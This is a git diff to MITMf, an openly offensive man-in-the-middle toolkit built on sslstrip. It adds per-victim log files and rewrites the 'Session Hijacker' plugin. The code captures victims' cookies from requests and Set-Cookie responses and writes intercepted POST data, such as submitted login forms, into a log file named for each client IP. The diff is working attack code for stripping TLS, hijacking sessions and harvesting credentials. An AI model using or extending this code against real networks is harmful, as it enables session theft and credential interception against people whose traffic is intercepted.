diff --git a/mitmf.py b/mitmf.py index a41e0b0..6076c0b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -28,7 +28,7 @@ if __name__ == "__main__": slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") - #slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') + slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") @@ -83,7 +83,7 @@ if __name__ == "__main__": from sslstrip.StrippingProxyHSTS import StrippingProxy from sslstrip.URLMonitorHSTS import URLMonitor - URLMonitor.getInstance().setFaviconSpoofing(args.favicon) + URLMonitor.getInstance().setValues(args.favicon, args.clients) CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) @@ -100,7 +100,7 @@ if __name__ == "__main__": from sslstrip.StrippingProxy import StrippingProxy from sslstrip.URLMonitor import URLMonitor - URLMonitor.getInstance().setFaviconSpoofing(args.favicon) + URLMonitor.getInstance().setValues(args.favicon, args.clients) CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 22d9259..8884ddf 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -1,4 +1,5 @@ from plugins.plugin import Plugin +from sslstrip.URLMonitor import URLMonitor import os import argparse import logging @@ -7,24 +8,35 @@ class SessionHijacker(Plugin): name = "Session Hijacker" optname = "hijack" desc = "Performs session hijacking attacks against clients" - implements = ["sendHeaders"] + implements = ["cleanHeaders", "handleHeader"] has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.log_clients = options.clients + self.urlMonitor = URLMonitor.getInstance() - def sendHeaders(self, request): - for header, value in request.headers.items(): - if header == 'cookie': - if self.log_clients: - log_file = open('./logs/%s.log', 'a' % request.client.getClientIP()) - log_file.write(request.header['host'], value, "\n") - log_file.close() + print "[*] Session Hijacker plugin online" - logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host'])) - else: - logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value)) + def cleanHeaders(self, request): # Client => Server + headers = request.getAllHeaders().copy() + + if 'cookie' in headers: + message = "%s Got client cookie: [%s] %s" % (request.getClientIP(), headers['host'], headers['cookie']) + if self.urlMonitor.isClientLogging() is True: + self.urlMonitor.writeClientLog(request, headers, message) + else: + logging.info(message) + + def handleHeader(self, request, key, value): # Server => Client + if 'set-cookie' in request.client.headers: + cookie = request.client.headers['set-cookie'] + #host = request.client.headers['host'] + message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) + if self.urlMonitor.isClientLogging() is True: + self.urlMonitor.writeClientLog(request.client, request.client.headers, message) + else: + logging.info(message) #def add_options(options): \ No newline at end of file diff --git a/sslstrip/ClientRequest.py b/sslstrip/ClientRequest.py index 77de420..83d8b96 100644 --- a/sslstrip/ClientRequest.py +++ b/sslstrip/ClientRequest.py @@ -33,6 +33,7 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache +from ProxyPlugins import ProxyPlugins class ClientRequest(Request): @@ -48,6 +49,7 @@ class ClientRequest(Request): self.urlMonitor = URLMonitor.getInstance() self.cookieCleaner = CookieCleaner.getInstance() self.dnsCache = DnsCache.getInstance() + self.plugins = ProxyPlugins.getInstance() #self.uniqueId = random.randint(0, 10000) def cleanHeaders(self): @@ -67,6 +69,8 @@ class ClientRequest(Request): if 'cache-control' in headers: del headers['cache-control'] + self.plugins.hook() + return headers def getPathFromUri(self): @@ -96,9 +100,10 @@ class ClientRequest(Request): try: self.content.seek(0,0) + postData = self.content.read() except: pass - postData = self.content.read() + url = 'http://' + host + path self.dnsCache.cacheResolution(host, address) diff --git a/sslstrip/ServerConnection.py b/sslstrip/ServerConnection.py index d2fd879..a9fa0f1 100644 --- a/sslstrip/ServerConnection.py +++ b/sslstrip/ServerConnection.py @@ -54,7 +54,11 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': - logging.info("%s Sending Request: %s %s %s" % (self.client.getClientIP(), self.command, self.headers['host'], self.headers['user-agent'])) + message = "%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host']) + if self.urlMonitor.isClientLogging() is True: + self.urlMonitor.writeClientLog(self.client, self.headers, message) + else: + logging.info(message) self.plugins.hook() self.sendCommand(self.command, self.uri) @@ -71,7 +75,11 @@ class ServerConnection(HTTPClient): elif 'keylog' in self.uri: self.plugins.hook() else: - logging.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData)) + message = "%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData) + if self.urlMonitor.isClientLogging() is True: + self.urlMonitor.writeClientLog(self.client, self.headers, message) + else: + logging.warning(message) self.transport.write(self.postData) def connectionMade(self): @@ -88,6 +96,8 @@ class ServerConnection(HTTPClient): self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): + self.plugins.hook() + if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -100,6 +110,7 @@ class ServerConnection(HTTPClient): if (value.find('gzip') != -1): logging.debug("Response is compressed...") self.isCompressed = True + #if (key.lower() == 'strict-transport-security'): # value = 'max-age=0' @@ -110,8 +121,6 @@ class ServerConnection(HTTPClient): else: self.client.setHeader(key, value) - self.plugins.hook() - def handleEndHeaders(self): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) diff --git a/sslstrip/StrippingProxy.py b/sslstrip/StrippingProxy.py index f4c1e89..8a626df 100644 --- a/sslstrip/StrippingProxy.py +++ b/sslstrip/StrippingProxy.py @@ -20,6 +20,7 @@ from twisted.web.http import HTTPChannel from ClientRequest import ClientRequest class StrippingProxy(HTTPChannel): + '''sslstrip is, at heart, a transparent proxy server that does some unusual things. This is the basic proxy server class, where we get callbacks for GET and POST methods. We then proxy these out using HTTP or HTTPS depending on what information we have about diff --git a/sslstrip/URLMonitor.py b/sslstrip/URLMonitor.py index 6d6f803..c58bbd5 100644 --- a/sslstrip/URLMonitor.py +++ b/sslstrip/URLMonitor.py @@ -16,7 +16,7 @@ # USA # -import re +import re, os class URLMonitor: @@ -41,6 +41,22 @@ class URLMonitor: return (client,url) in self.strippedURLs + def writeClientLog(self, client, headers, message): + if (client.getClientIP() + '.log') not in os.listdir("./logs"): + + try: + log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent']) + except KeyError: + log_message = "#Log file for %s\n" % client.getClientIP() + + log_file = open("./logs/" + client.getClientIP() + ".log", 'a') + log_file.write(log_message + message + "\n") + log_file.close() + else: + log_file = open("./logs/" + client.getClientIP() + ".log", 'a') + log_file.write(message + "\n") + log_file.close() + def getSecurePort(self, client, url): if (client,url) in self.strippedURLs: return self.strippedURLPorts[(client,url)] @@ -69,12 +85,16 @@ class URLMonitor: self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - def setFaviconSpoofing(self, faviconSpoofing): + def setValues(self, faviconSpoofing, clientLogging): self.faviconSpoofing = faviconSpoofing + self.clientLogging = clientLogging def isFaviconSpoofing(self): return self.faviconSpoofing + def isClientLogging(self): + return self.clientLogging + def isSecureFavicon(self, client, url): return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))